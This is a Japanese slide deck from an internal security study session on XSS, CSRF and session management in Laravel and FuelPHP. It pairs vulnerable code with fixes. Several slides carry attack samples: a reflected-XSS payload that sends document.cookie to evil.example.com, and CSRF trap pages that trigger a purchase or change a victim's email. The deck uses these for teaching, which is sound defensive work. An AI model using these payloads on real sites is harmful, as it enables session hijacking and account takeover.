Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Cookieは“ログイン済みのあなた” ── XSSに盗ませず・CSRFに乗らせない

Sponsored · SiteGround - Reliable hosting with speed, security, and support you can count on.

Cookieは“ログイン済みのあなた” ── XSSに盗ませず・CSRFに乗らせない

ログイン後の Cookie(セッションID)は、サーバから見れば「あなたそのもの」です。XSS はそれを盗み、CSRF はそれに乗る。攻撃の入口は違っても、狙われる中心資産はいつも同じセッションです。

社内エンジニア向けセキュリティ勉強会(全6回)の第3回です。XSS・CSRF・セッション管理という散らかりやすい3トピックを「狙いはいつも1つ=セッション」という1本の背骨で束ね、Laravel 13.x と FuelPHP 1.x の両方で危険なコードと安全なコードを並べます。

疑似デモは2つ。反射型 XSS で検索語の script がそのまま実行されるところから、同じ穴で document.cookie を攻撃者へ送れてしまう(=セッションハイジャック成立)ところまで。そして CSRF では、罠ページを開いただけでログイン中のメールアドレスが書き換わるところまでを追跡します。サーバは「本物」と「便乗」を区別できない、という対策の思想的な核まで持っていきます。

扱うトピック
- XSS:反射型/格納型/DOMベースの違い、Laravel Blade の {{ }} と {!! !!}、FuelPHP の security.auto_filter_output(既定 true)と生出力の抜け道
- CSRF:Cookie が自動送信される性質への便乗、Laravel の @csrf と PreventRequestForgery による標準防御 vs FuelPHP の Security::check_token() 自前実装、共通化の設計
- SameSite の限界:Lax はクロスサイトの form POST や img は弾くが、トップレベルの GET 遷移には Cookie が付く。だから土台だけに頼らずトークンが要る
- セッション管理:HttpOnly / Secure / SameSite の3属性と効く脅威、セッション固定化とログイン時の ID 再発行(regenerate / rotate)

持ち帰る3つの結論
1. 出力はエスケープする = HttpOnly と合わせて「盗ませない」
2. 状態変更には CSRF トークンを必須にする = SameSite と合わせて「乗らせない」
3. ログイン時にセッションIDを再発行する = 「使い回させない」

レガシー保守(FuelPHP 1.x)でも「明日からできる」棚卸しと設定確認まで示します。

想定読者:認証は気にしたのに、その後のセッションを軽く見ていた"ちょっと前の自分"。
分類:XSS = CWE-79 / OWASP A03:2021 Injection、CSRF = CWE-352 / A01:2021 Broken Access Control、セッション固定化 = CWE-384 / A07:2021 Identification and Authentication Failures

Avatar for kuroneko

kuroneko

July 30, 2026

More Decks by kuroneko

Other Decks in Technology

Transcript

  1. 今日のゴール: セッションを“盗ませず・乗らせず”守る型を持ち帰る 狙われる中心資産は、いつも“ログイン後のセッション” セッション(ログイン後のCookie)は“あなたそのもの”。盗ませず・乗らせず・使い 回させない“土台”で守る 第1回 認証・認可 第2回 第3回 インジェクション

    /SSRF XSS/CSRF /セッション 第4回 第5回 第6回 暗号/シークレット ネットワーク/WAF ログ/追跡 想定読者は「ちょっと前の自分」。今日はセッションを軸に貫通し、XSS をやや厚めに扱います。 話者: kuroneko
  2. 今日の道順と、持ち帰る結論3つ 道順: S1 セッション=中心資産 → S2 XSSが盗む → S3 CSRFが乗る

    → S4 土台 結論① 結論② 結論③ 出力はエスケープ (HttpOnlyで盗ませない) 状態変更はCSRFトークン (SameSiteで乗らせない) ログイン時にID再発行 (使い回させない)
  3. ログイン後のCookie(セッションID)は“あなたそのもの” サーバがID発行 → ブラウザが以後“自動送信” → IDだけで本人と判断 STEP 1 STEP 2

    STEP 3 ログイン Set-Cookie でID発行 以後は自動送信 本人確認が済む サーバがセッションIDを渡す ブラウザがIDを毎回送る 盗まれれば「なりすまし」、勝手に送られれば「便乗」される
  4. XSS: 入力を“出力(HTML)”に紛れ込ませ、ブラウザで実行させる 入力 →(混入)→ 出力(HTML)→ 被害者のブラウザで実行 ❖ 検証・エスケープなしに信頼できない入力を HTML へ挿入→被害者のブラウザで

    スクリプト実行 ❖ 入力元=URLパラメータ・フォーム要素・クッキー・データベースクエリ ❖ 第2回の裏面: 入力を“実行(SQL・宛先)”に混ぜた=インジェクション /“出力(HTML)” に混ぜる=XSS
  5. XSSには型がある: 反射型 / 格納型 / DOMベース 格納型が最も影響大。DOM型はサーバ側エスケープで防げない(別対策=A4) 型 発火タイミング 影響範囲

    反射型 リクエスト値が即座に応答へ反射 URL誘導した相手 格納型 DBに保存され閲覧のたびに発火 閲覧者全員(最大) DOMベース クライアント側JSがDOMへ書く段で発火 サーバ側エスケープで防げない
  6. デモで見るもの: コメント欄に“タグ”を1つ入れるだけ 疑似デモ(ライブ操作なし)。攻撃コードと結果はそのまま見せる STEP 1 STEP 2 STEP 3 投稿に

    <script> を混ぜる alert() が出るか Cookie を外部へ送れるか 変えるのはこれだけ 任意のJSが動く証拠 なりすまし成立の証拠 注目 ── 認証済みのまま、Cookie 窃取まで届くか
  7. まず反射型: 検索語の <script> がそのまま実行された デモ本体 ── エスケープされず出力→ alert() 発火=任意のJSが動く証拠 #

    検索フォームに <script> を混ぜる(反射型) GET /search?q=<script>alert(1)</script> ❖ ?q=<script>alert(1)</script> が画面にエスケープ されず出力される ❖ alert() 発火=任意の JavaScript が動く証拠 # サーバがエスケープせず出力した HTML # (そのままブラウザで実行される): <p>検索結果: <script>alert(1)</script></p> → alert(1) が発火 = 任意の JavaScript が動く
  8. ★ 同じ穴で document.cookie を攻撃者へ送れた 山場 ── alert() の次は Cookie 窃取=なりすまし成立

    ❖ alert() の次は Cookie 窃取=なりすまし成立 ❖ 格納型なら閲覧者全員の Cookie が流出する ❖ 攻撃者はこの Cookie でログイン済みの被害者に なりすませる # 同じ穴に、今度は Cookie を # 外部へ送るスクリプトを入れる <script>new Image().src='https://evil.example.com/steal?c='+docu ment.cookie</script> # 攻撃者サーバ(evil.example.com)の # アクセスログに届く: GET /steal?c=laravel_session=eyJpdiI6Ii4uLiJ9... # ← 被害者のセッションCookieが丸見え # = なりすまし成立
  9. 今起きたこと: エスケープ漏れ→任意JS→Cookie窃取→なりすまし デモの整理 ── 体感を言葉に翻訳する ❖ 根本原因=出力をエスケープしていなかった(=raw 出力) ❖ HttpOnly

    があれば document.cookie は読めない=窃取を無力化 ❖ XSS は窃取だけでなく操作代行もできる(HttpOnly でも操作代行は防げない)
  10. Laravel Blade: {{ }} は自動エスケープ、{!! !!} で無効化 before/after ── raw

    出力にすると、さっきのデモが刺さる ❖ {{ $x }}→htmlspecialchars で自動エスケープ(既定 でダブルエンコード) ❖ {!! $x !!}→raw 出力=さっきのデモが刺さる ❖ 「HTMLを埋めたい」誘惑で {!! !!} を使うと穴に なる {{-- resources/views/comments.blade.php (Laravel 13.x) --}} {{-- 危険: raw 出力。ユーザー入力の <script>alert(1)</script> が そのまま発火する --}} <p>{!! $comment !!}</p> {{-- ↑ エスケープされない = XSS --}} {{-- 安全: {{ }} は htmlspecialchars で 自動エスケープ (既定でダブルエンコード) --}} <p>{{ $comment }}</p> {{-- ↑ <script> は &lt;script&gt; に なり無害テキスト --}}
  11. FuelPHP: 出力は既定でフィルタ ── “生出力”の抜け道を開けるな before/after ── security.auto_filter_output は既定 true(=既定で守られる) ❖

    auto_filter_output が既定 true で、View に渡す全 変数が自動エンコードされる ❖ 危険=View::set(...,false)(第3引数 false)や set_safe() でフィルタ無効化した生出力 ❖ 「FuelPHP は無防備」ではなく「抜け道を自分 で開けるな」 // fuel/app/classes/controller/comments.php (FuelPHP 1.x) public function action_index() { $comment = Input::post('comment'); $view = View::forge('comments'); // 危険: 第3引数 false で自動エンコード無効化 = XSS $view->set('comment', $comment, false); // 生出力の抜け道 // 安全: 既定(auto_filter_output=true)のまま渡せば自動エスケープ // $view->set('comment', $comment); // set_safe() も無効化 return $view; }
  12. CSRF: ログイン中のブラウザに不正リクエストを“代理送信”させる 攻撃者は Cookie を盗まない ── ブラウザに“勝手に送らせる” STEP 1 STEP

    2 STEP 3 信頼サイトにログイン中 悪意サイトを訪問 Cookie 自動送信で便乗 アクティブなセッションを保持 罠ページがリクエストを仕込む 信頼サイトが正規と誤認し実行 鍵は Cookie の“自動送信” ── 攻撃者は盗まず、ブラウザに送らせる
  13. デモで見るもの: 罠ページを開くだけで操作が実行される 脅威モデル ── この脆弱アプリは状態変更を GET でも受ける(アンチパターン) ❖ 被害者はアプリにログイン済み ❖

    脅威モデル=GET状態変更 × トップレベル遷移を罠ページから叩かせる ❖ 注目=クリックも同意もないのに操作が通るか <!-- CCT の古典例: リクエストを自動で飛ばす罠(株購入) --> <img src="http://certifiedhacker.com/certifiedhackershop.php?symbol=MSFT&shares=1000">
  14. 罠ページを開くだけで、メールアドレスが勝手に書き換わった デモ本体 ── トップレベル GET 遷移なら SameSite=Lax でも Cookie が送られる

    ❖ 罠ページを開くと app へ“トップレベルの GET 遷移”が起きる ❖ ログイン Cookie が自動付与され、サーバは正規リクエストと区別できず実行 ❖ 結果=被害者アカウントの email が攻撃者のものに変更された <!-- 攻撃者サイト(evil.example.com)の罠ページ。開くだけで app へ遷移 --> <!-- ※ この脆弱アプリは状態変更を GET でも受け付ける(アンチパターン) --> <script> // トップレベルの GET 遷移。SameSite=Lax でもセッション Cookie が送られる location.href = 'https://app.example.com/account/[email protected]'; </script> <!-- 被害者は app.example.com にログイン済み → Cookie 自動付与 → email が [email protected] に変更された(区別できず実行) -->
  15. Laravel vs FuelPHP: @csrf の“標準防御”の差が出る CSRF の山場 ── 「標準防御か自前か」という設計判断 ❖

    Laravel=@csrf でトークン埋込→PreventRequestForgery(web 群に既定)が自動検証 ❖ 2層=Sec-Fetch-Site で同一オリジン検証→通らなければトークン検証。不一致は 419 ❖ FuelPHP=csrf_autoload も csrf_auto_token も既定 false=自動検証も自動埋込もされない {{-- Laravel(標準防御): web 群に PreventRequestForgery が既定適用 --}} {{-- Illuminate\Foundation\Http\Middleware\PreventRequestForgery --}} <form method="POST" action="/account/email"> @csrf {{-- <input type="hidden" name="_token" value="{{ csrf_token() }}"> --}} <input type="email" name="email"> <button>更新</button> </form> {{-- 検証コードは不要。不一致は 419 で弾かれる --}}
  16. FuelPHPは“自前”が要る ── 埋込・検証・共通化を設計する View で自前埋込・Controller で自前検証・ベースコントローラで共通化(全文は A2) ❖ View: Security::fetch_token()

    を fuel_csrf_token の hidden で自前埋込 ❖ Controller: if ( ! Security::check_token()) を自前で 呼ぶ ❖ ベースコントローラ/before filter で共通化しな いと抜ける(または csrf_autoload=true) // View: hidden に自前で埋込(csrf_auto_token 既定 false) <input type="hidden" name="fuel_csrf_token" value="<?php echo Security::fetch_token(); ?>"> // Controller: 自前で検証(csrf_autoload 既定 false) if ( ! Security::check_token()) // ← bool を返す { throw new HttpBadRequestException('CSRF token mismatch'); } // ↑ 共通化しないと抜ける
  17. SameSite=Lax は多くを弾く ── でも通る道があるからトークン必須 既定 Lax は大半を緩和。だが GET 遷移・None・古ブラウザは通る Lax

    の挙動 対象(例) 弾く(Cookie付かない) クロスサイトの <form> POST・<img> 等サブリソース 通す(Cookie付く) トップレベルの GET 遷移(デモで見た型) 通す SameSite=None・古いブラウザでは POST も通る 結論 SameSite(土台)だけに頼らずトークンが必須=多層
  18. Cookie属性が“土台”: HttpOnly / Secure / SameSite で守る 3属性 × 効く脅威。効果と限界を正直に

    属性 効く脅威 効果と限界 HttpOnly XSS の Cookie 窃取 JS が document.cookie を読めない (操作代行は防げない) Secure 盗聴 HTTPS のみ送信 SameSite CSRF クロスサイト自動送信を抑制 (GET遷移/None/古ブラウザは通る→トークン併用)
  19. 既定を知る: Laravel は概ね安全側、FuelPHP は自分で設定 before/after ── 既定値の対比(暗号化・APP_KEY は別テーマ=第4回) ❖ Laravel:

    http_only 既定 true・same_site 既定 'lax'・secure 既定 null(HTTPS で true 推奨) ❖ FuelPHP: cookie_http_only は既定 false なので自分で true にする ❖ Cookie/セッションの暗号化・署名(APP_KEY)は別テーマ // Laravel 13.x: config/session.php(既定値) 'http_only' => env('SESSION_HTTP_ONLY', true), // 既定 true 'secure' => env('SESSION_SECURE_COOKIE'), // 既定 null(HTTPSで true推奨) 'same_site' => env('SESSION_SAME_SITE', 'lax'), // 既定 'lax' // FuelPHP 1.x: session.php(cookie_http_only 既定 false) 'cookie_http_only' => true, // ← 既定 false。自分で true に
  20. 対策: ログイン時にセッションIDを再発行する(regenerate / rotate) before/after ── ログインの瞬間にID再発行=固定化対策 ❖ Laravel=Auth::attempt() 成功時に

    $request->session()->regenerate()(手動認証は明示必須) ❖ スターターキット/Fortify は自動で再発行。ログアウトは invalidate() ❖ FuelPHP=Session::rotate() をログイン時に自前で呼ぶ // Laravel 13.x: 手動認証では明示的に呼ぶ(スターターキット/Fortify は自動) if (Auth::attempt($credentials)) { $request->session()->regenerate(); // ← ログイン時にID再発行=固定化対策 return redirect()->intended('dashboard'); } // FuelPHP 1.x: ログイン成功時に自前で呼ぶ Session::rotate(); // ← 手動でセッションIDを再発行
  21. 土台のまとめ: 盗ませない・乗らせない・使い回させない 3本柱が XSS/CSRF の被害を根元から下げる 盗ませない 乗らせない 使い回させない HttpOnly=JS から

    Cookie を読 めない (XSS 窃取を無力化) SameSite + CSRF トークン (クロスサイト送信抑制+本物 の証明) ログイン時にセッションID再 発行 (固定化対策)
  22. 脅威→対策: 的はいつも“セッション” ── 盗ませない・乗らせない 脅威の地図の上に対策を並べ直して締める(全編の背骨) 脅威 対策 土台/補足 XSS(盗む) 出力エスケープ

    + HttpOnly で盗ませない CSRF(乗る) CSRF トークン + SameSite で乗らせない セッション管理 ID再発行(固定化対策) Cookie属性が土台
  23. Next action: 明日からできる3つ 1=消す(エスケープ)/ 2=乗らせない(トークン)/ 3=使い回させない(再発行) 1. エスケープに戻す 2. 状態変更を守る

    3. ID再発行を入れる {!! !!}/生出力を grep→エスケ ープ。Cookie に HttpOnly/Secure/SameSite GET で状態変更しない+CSRF トークン必須(FuelPHP は check_token を共通化) ログイン処理に regenerate / rotate を追加する
  24. 次回予告とリンク 次はセッションCookieを“暗号で守る”話へ ── この後は質疑・議論(20分) ❖ 第4回=暗号・データ保護+シークレット管理 (Cookie/セッションの暗号化・APP_KEY 保護) ❖ 関連:

    第1回・第2回のスライド・記事は近日公開予定(公開後にリンク差し替え) ❖ この後は質疑・議論へ ── QR/リンクは会場で共有
  25. A1: XSS 全文コード(Laravel Blade / FuelPHP 出力フィルタ) 本編と同じ。加えて JS 埋込の安全な書き方

    Js::from() ❖ Laravel Blade: {!! !!}(raw=XSS)→ {{ }}(自動エスケープ)、JS は Js::from() ❖ FuelPHP: 既定フィルタ(安全)vs 第3引数 false の生出力(危険) ❖ 文脈別エスケープの限界は A4 を参照 {{-- Laravel Blade: 危険 vs 安全 --}} <p>{!! $comment !!}</p> {{-- raw = XSS --}} <p>{{ $comment }}</p> {{-- htmlspecialchars 自動エスケープ --}} {{-- JS へ JSON を安全に埋め込む --}} <script>const data = {{ Js::from($array) }};</script> // FuelPHP: 既定フィルタ vs 生出力 $view->set('comment', $comment); $view->set('comment', $comment, false); // 既定=自動エンコード(安全) // 第3引数 false=生出力(危険)
  26. A2: CSRF 全文コード(Laravel @csrf / FuelPHP 自前実装) 本編と同じ。URI 除外・共通化・csrf_autoload=true の選択肢も

    ❖ Laravel: @csrf + PreventRequestForgery(URI 除外は bootstrap/app.php) ❖ FuelPHP: Security::fetch_token() 埋込 + Security::check_token() 検証を自前 ❖ 共通化(ベースコントローラ)または csrf_autoload=true を選ぶ // Laravel: web 群に PreventRequestForgery が既定適用 @csrf {{-- hidden _token を生成 --}} // URI 除外は bootstrap/app.php: $middleware->preventRequestForgery(except: [...]); // FuelPHP: 自前で埋込+検証(共通化 or csrf_autoload=true) echo Security::fetch_token(); // View で hidden に if ( ! Security::check_token()) { ... } // Controller で検証
  27. A3: セッション管理 全文コード+設定(Laravel / FuelPHP) 本編と同じ。config 既定 + regenerate/invalidate/rotate ❖

    Laravel: config/session.php 既定 + regenerate()(ID再発行)/ invalidate()(ログアウト) ❖ FuelPHP: session.php の cookie_http_only + Session::rotate() ❖ Cookie/セッションの暗号化・APP_KEY は第4回のテーマ // Laravel: config/session.php 既定 'http_only' => env('SESSION_HTTP_ONLY', true), 'same_site' => env('SESSION_SAME_SITE', 'lax'), // ログイン後 / ログアウト $request->session()->regenerate(); // ID再発行 $request->session()->invalidate(); // 再発行+全データ削除 // FuelPHP: session.php + ログイン時 'cookie_http_only' => true, // 既定 false Session::rotate(); // ID再発行
  28. A4: XSSの文脈別エスケープと限界 + CSP 出力文脈でエスケープが違う。Blade {{ }} は HTML 本文文脈用

    出力文脈 対策 / 注意 HTML本文 Blade {{ }} = htmlspecialchars 自動エスケープ 属性値 文脈が違う=別対策が要る JavaScript Js::from() で JSON を安全に埋め込む URL URL 用のエンコードが要る DOMベース サーバ側エスケープでは防げない(クライアント側対策) 多層で補強 Content-Security-Policy(CSP)で被害を抑える
  29. A5: SameSite / Cookie属性の詳細と限界 SameSite が CSRF を完全には防げないケース ── __Host-

    / __Secure- プレフィックス 属性 / 値 効果 限界 SameSite=Lax (多く既定) クロスサイトのサブリクエストに送ら ない トップレベル GET 遷移には送る SameSite=Strict 常にクロスサイト送信しない 正規の遷移も不便になりうる SameSite=None クロスサイトでも送る(要 Secure) CSRF 緩和効果なし __Host- / __Secure- Cookie の前提(Secure/パス等)を固定 属性付け忘れを防ぐ補助
  30. A6: 用語・出典マッピング(CWE / OWASP Top 10 2021) XSS・CSRF・セッション固定化の位置づけ(出典URLはノート) 脅威 CWE

    OWASP Top 10 2021 XSS CWE-79 A03:2021 Injection(旧 A7:2017 XSS) CSRF CWE-352 A01:2021 Broken Access Control にマップ セッション固定化 CWE-384 A07:2021 Identification and Authentication Failures